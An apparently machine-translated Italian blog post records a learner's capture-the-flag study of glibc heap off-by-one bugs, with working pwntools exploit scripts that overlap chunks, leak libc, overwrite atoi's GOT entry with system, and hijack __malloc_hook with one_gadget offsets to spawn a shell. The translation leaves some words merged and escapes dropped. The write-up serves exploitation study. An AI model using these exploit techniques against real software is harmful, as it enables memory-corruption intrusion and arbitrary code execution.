le mie informazioni di contatto
Posta[email protected]
2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
Le basi del pwn sono ancora molto superficiali. Registro solo parte della mia esperienza di apprendimento.
Man mano che lo studio procede, verranno aggiunti ulteriori punti di conoscenza e domande.
Riepilogo dell'apprendimento di off da null |
Estensione e sovrapposizione dei blocchi | ctfwiki
Strettamente correlati all'off-by-one sono Chunk Extend e Overlapping menzionati sopra.
Questo viene spesso definito "blocchi sovrapposti".
Perché creare blocchi sovrapposti?
Se ad esempio vogliamo riscrivere il campo header di un pezzo, cioè i segmenti prev_size e size, sicuramente non potremo modificarlo applicando direttamente.
Un'idea è costruire un pezzo falso fuori posto. Un'altra idea più semplice è creare pezzi sovrapposti. Modificando la dimensione del bit, la parte dei dati utente di un pezzo grande include l'intestazione della parte piccola che vogliamo modificare.
Penso che questa domanda sia un buon esempio di come utilizzare off-by-one. Le domande non sono molto difficili e i punti di utilizzo sono abbastanza intelligenti.
Decompilare per trovare scappatoie,
Qui c'è un off-by artificiale e qui è possibile scrivere un byte in più.
Tornando all’assegnazione degli argomenti,
Innanzitutto, viene allocato un pezzo di dimensione 0x10 per memorizzare alcune informazioni, quindi viene allocato un pezzo per il contenuto.
Sarà molto chiaro se guardi il debug di gdb qui.
Ad esempio, il layout del blocco heap dopo aver aggiunto(0x28,'0'),aggiunto(0x10,'1')
Puoi vedere che ogni volta che aggiungiamo, prima malloceremo un pezzo che memorizza le informazioni del blocco heap a un indirizzo basso, quindi malloceremo un pezzo che memorizza il contenuto.
Poi ho notato che le operazioni di modifica e visualizzazione vengono eseguite tutte in modo completoInformazioni sul blocco heapstruttura su "index", quindi se vogliamo divulgare libc, possiamo inserire le informazioni sul blocco heap di questo pezzo *content
Il campo viene modificato nell'indirizzo della tabella ottenuta di una determinata funzione. Ad esempio, se in questa domanda viene utilizzato atoi, atoi_addr verrà stampato durante lo spettacolo.
Ciò comporta una situazione simile nel precedente "Piccola comprensione". Non possiamo modificare direttamente il contenuto del blocco che "memorizza le informazioni del blocco heap", quindi possiamo utilizzare off-by-one in modo più intelligente per implementare l'estensione del blocco heap. .
Ad esempio, se lo modifichiamo in questo modo, può effettivamente causare l'espansione e la sovrapposizione dei blocchi dell'heap.
Parliamo dell'utilizzo specifico di seguito.
Sia il blocco dell'heap delle informazioni che quello dell'heap del contenuto saranno gratuiti, quindi in questo momento sono presenti due contenitori di dimensioni 0x20 e 0x40 nei fastbin.
Naturalmente, ci sono alcuni dettagli, come l'ultima selezione della dimensione menzionata di 0x18 e 0x28, e la necessità di riservare il contenuto dello stack di informazioni quando lo si modifica.misurarecampi (altrimenti la modifica finale non avrà la lunghezza necessaria per scriverla) e così via.
Esp:
atoi_got = elf.got['atoi']
add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak
libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
edit(1,p64(system))
sla("Your choice :",b"/bin/shx00")
p.interactive()
In realtà c’è un altro punto chiave in questa domanda, ed era anche il punto su cui all’inizio ero confuso. L'aggiunta iniziale del blocco 0 dell'EXP del Maestro ZIKH è 0x18 Nella mia pratica, modificarlo in 0x10 o 0x20 non ha funzionato, ma modificarlo in 0x28 ha funzionato.
Il debug ha rilevato che quando vengono modificati in 0x10, 0x20, i nostri dati utente non abiliteranno il blocco successivo.dimensione_precedenteDi.
Quando si allocano 0x18, 0x28, ecc., il meccanismo ptmalloc2 riutilizzerà il segmento prev_size di next_chunk.
emmm, infatti, in ultima analisi, non ho ancora abbastanza familiarità con heap. Dopotutto, solo guardando la spiegazione della wiki, ci sono così tanti punti di conoscenza e i dettagli sono complicati, rendendo difficile ricordarli. Naturalmente, l'ho riscontrato in un combattimento reale. Sarà molto meglio dopo averlo eseguito il debug da solo e averlo capito di nuovo.
Il difetto della domanda è qui.
Quando a2-a1==10 è nell'if, ovvero quando la dimensione immessa dalla modifica è esattamente 10 più grande della dimensione aggiunta, si verifica un off-by-one.
Struttura di allocazione approssimativa
Oppure usa il segmento bss per memorizzare l'inuse e l'inuse del pezzo.*content
Possiamo ancora utilizzare off-by-one combinato con le caratteristiche di 0x?8 size riutilizzare prev_size per falsificare prev_size e size per attivare l'unione forward (indirizzo basso)
A questo punto, puoi vedere che l'unione viene attivata da free(2).
A questo punto, se aggiungiamo(0x80) e poi mostriamo(1), possiamo effettivamente stampare il valore di main_arena+88.
La mia comprensione è: l'add (0x80) qui serve per dividere il contenitore non ordinato, in modo che il puntatore fd (main_arena+88) venga spostato sul segmento Chunk1 che può essere mostrato.
A questo punto l'indirizzo base di libc è trapelato.
Sembra che le seguenti operazioni coinvolgano molti blocchi heap sovrapposti, quindi diamo un'occhiata al debug passo dopo passo.
Layout dell'heap in caso di perdita di libc
add(0x68)
(Taglia un pezzo dal contenitore non selezionato)
free(1)
(fastbin 0x70)
edit(2,p64(malloc_hook-0x23))
(Qui approfittiamo del fatto che il pezzo2 di 0x68 richiesto nel passaggio precedente si sovrappone al pezzo1 appena liberato (il pezzo1 era stato richiesto all'inizio))
add(0x68)
(Richiedendo il pezzo 1, in realtà è il pezzo 2)
add(0x68)
(Applica per restituire il fake_chunk in malloc_hook-0x23)
Quindi devi usare realloc per regolare lo stack frame e puoi ottenere la shell.
Quindi posso comunicare localmente, ma non da remoto.
Dopo aver esaminato l'Exp del Maestro ZIKH, devo utilizzare il local
realloc = libcbase + libc.sym['realloc']
Cambia inrealloc = libcbase + 0x846c0
Quindi devi modificare il valore di one_gadget
Questi due one_gadget hanno un offset, non so perché al momento. Forse ha qualcosa a che fare con la regolazione dello stack frame? (Scopri più tardi)
Gioca all'Exp locale:
add(0x80)
add(0x68)
add(0x80)
add(0x10)
free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed) size:0x91->0x90
edit(1,0x68+10,pl)
free(2) # trigger consolidate
add(0x80)
show(1)
leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)
add(0x68)
free(1)
edit(2,8,p64(malloc_hook-0x23)) # fake_chunk
add(0x68)
add(0x68)
pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)
add(0xFF)
p.interactive()
Locale:
Da remoto:
Riassumendo, è difficile.